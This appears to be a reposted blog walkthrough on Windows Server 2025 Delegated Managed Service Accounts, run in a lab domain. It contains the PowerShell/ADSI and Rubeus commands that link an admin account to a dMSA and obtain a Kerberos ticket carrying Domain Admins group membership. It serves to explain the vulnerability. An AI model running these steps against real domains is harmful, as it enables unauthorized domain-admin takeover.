stihl не предоставил(а) никакой дополнительной информации.
Wait, dmsa is not gmsa? Wait, what gmsa is?
We’ll begin with some background — gMSA.gMSA stands for Group Managed Service Account.
These accounts were created to solve a problem: securing service account passwords.
When’s the last time you changed your SQL service password? Yeah, I know — the answer is “never.”
One of the key features of gMSA is password rotation.
The gMSA account password is stored as a constructed attribute on the Domain Controller, called msDS-ManagedPassword.
This password is created using a key called kdsRootKey.
BTW, there’s an attack called Golden gMSA, which lets you generate the password of any gMSA associated with the key.
Guess who found it? (Yeah, it’s Yuval again.) It’s a really cool attack, I recommend reading about it:
Для просмотра ссылки Войди
If you want to read a gMSA account’s password, you need to be a member of the msDS-GroupMSAMembership attribute (also known as PrincipalsAllowedToRetrieveManagedPassword).
A typical scenario: SQL Server uses a gMSA as its service account.
In that case, the SQL Server host would be a member of the msDS-GroupMSAMembership attribute.
Why am I telling you all this? Because DMSA is the next generation of gMSA!
Let’s create a gMSA together and understand how it works under the hood.
First — our environment:
Two DCs:
- Windows Server 2019
- Windows Server 2025
- Windows 10 Pro
We can also see the related attributes in systemMayContain.
Let’s create a gmsa
The command to create a gMSA account:- Create the kdsRootKey (don’t forget the 10-hour part — otherwise, you’ll have to wait 10 hours for the key to become active).
- Parameters for the New-ADServiceAccount command:
a. gMSA account name
b. The host where you’ll use the gMSA account (for example – the SQL Server)
c. The SPNs aren’t critical here
| 1 2 3 4 5 6 7 | Add-KdsRootKey -EffectiveTime ((get-date).addhours(-10)) New-ADServiceAccount gmsa_test ` -DNSHostName gmsa_test.SAPIR.TEST ` -PrincipalsAllowedToRetrieveManagedPassword "DESKTOP-S2S3L0I$" ` -KerberosEncryptionType RC4, AES128, AES256 ` -ServicePrincipalNames host/gmsa_test.SAPIR.TEST, CIFS/gmsa_test.SAPIR.TEST |
We can see our gMSA now exists!
(BTW – I didn’t know the ADSync service is a gMSA — that’s cool.)
We can also see that our computer is allowed to read the gMSA password.
If we move to our Windows 10 machine now, we can install the gMSA account and use it as the logon account for a service.
First, I installed the AD tools on my Windows machine:
| 1 | Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0" |
Then we can run this command to install the gMSA on the machine:
| 1 | Install-ADServiceAccount gmsa_test |
Now we can create a service on the machine with the gMSA account.
Here’s a stupid service that won’t actually work, but it’s good enough for the purpose of this post:
| 1 | sc.exe create TestGMSAService binPath= "C:\Windows\System32\cmd.exe" type= own |
We can now set the gMSA account as the logon account for this service.
You don’t need to fill in the password — the machine handles it for you.
Now, if we try to run the service, we can see that it authenticates as our gMSA account.
We can also read the password using LDAP (or ADWS):
As you can see, I’m authenticated as my machine (psexec -i -s cmd.exe).
Then I opened ldp — but you can just run the LDAP query directly if you prefer
That was gMSA — I think the concept is clear now.
Let’s move on to the important part of the post.
DMSA Woot Woot
So DMSA stands for Delegated Managed Service Account.There are a few advantages of DMSA over gMSA:
- DMSA is supposed to be bound to only one machine
(Not sure how that’s enforced — maybe a topic for a future post) - A DMSA is managed by an administrator, while a gMSA is managed by AD (Honestly, that sounds like a disadvantage to me. Also not really sure what that means.)
We can see some new attributes here — most of them are described in the Akamai post.
The one we care about most is msDS-ManagedAccountPrecededByLink — this is where we’ll put our victim account.
The vulnerability is based on the migration process.
In a “normal” situation, you’d use this field to link to a GMSA account — either manually or through a migration script — to allow smooth and automatic migration.
In our case, we’ll abuse it by putting in an admin account instead (or any other account we’d like to impersonate).
Personally, I’d go for the msol account or the sync service — because I love anything related to Entra Connect
But let’s take it slow.
First, we’ll create a DMSA account. Here’s the command:| 1 2 3 4 5 6 7 8 9 10 11 | Add-KdsRootKey -EffectiveTime ((get-date).AddHours(-10)) $params = @{ Name = "dmsa_test" DNSHostName = "dmsa_test.SAPIR.TEST" CreateDelegatedServiceAccount = $true KerberosEncryptionType = "AES256" } New-ADServiceAccount @params Set-ADServiceAccount -Identity "dmsa_test" -PrincipalsAllowedToRetrieveManagedPassword "DESKTOP-S2S3L0I$" |
At this point, I was curious to see how this new object would affect my 2019 server,
so I ran:
| 1 | repadmin /syncall /d /e |
This triggered replication — and the 2019 DC’s schema got updated!
Now it contains the Delegated Managed Service Account object.
I could also see the DMSA in AD, although it looked a bit weird.
The icon didn’t replicate. Who cares
Let the PAC forgery begin!
Now let’s move to the actual attack.We’ll link an admin account in the DMSA’s attributes:
| 1 2 3 4 | $dmsa = [ADSI]"LDAP://CN=dmsa_test,CN=Managed Service Accounts,DC=SAPIR,DC=TEST" $dmsa.Put("msDS-DelegatedMSAState", 2) $dmsa.Put("msDS-ManagedAccountPrecededByLink", "CN=admin1,CN=Users,DC=SAPIR,DC=TEST") $dmsa.SetInfo() |
The goal of the attack is to run AskTGS (with Rubeus) using the DMSA account —
and get a Kerberos ticket where the PAC includes the admin’s group memberships.
Basically, it’s the easiest PAC forgery attack I’ve ever seen.
Now for the important part:
There’s a critical detail that’s easy to miss in the original post —
You need the hash of the machine account that’s allowed to retrieve the DMSA password.
In most cases, that’s just your own(The attacker) machine — so that’s fine.
Here’s the command to get a TGT for the machine account:
| 1 | Rubeus.exe asktgt /userESKTOP-S2S3L0I$ /aes256:9dfcbbb1158b592d31e57326b02c3404e8e80ef1cff1c61576857e27e45534f3 /outfile:host_tgt.kirbi |
Now that we have the ticket, we can run AskTGS for the DMSA account:
- You need a relatively recent version of Rubeus (at least Feb 1).
- If your environment has DCs that aren’t 2025, you must specify a 2025 DC in the command.
| 1 | Rubeus.exe asktgs /ticket:host_tgt.kirbi /targetuser:dmsa_test$ /service:krbtgt/sapir.test /dmsa /dc:192.168.111.135 /opsec /nowrap |
Let’s look at the traffic:
We can see the PAC inside the TGS —
Group RID 512 is there, which belongs to Domain Admins.
These groups came from admin1, so — PAC forgery successful!
If you want to try this yourself, you’ll need a keytab file,
since the PAC is in the encrypted part of the ticket.
You can generate one using this script:
Для просмотра ссылки Войди
Let’s summarize
This vulnerability is a great example of how seemingly helpful schema changes can open the door to serious attacks. With just a few new attributes, attackers can manipulate the system to forge PACs and gain domain admin privileges. It makes you wonder—what other attributes were added in Windows Server 2025, and how might they be abused? Schema extensions are powerful tools, but they need to be reviewed carefully before deployment in production.Для просмотра ссылки Войди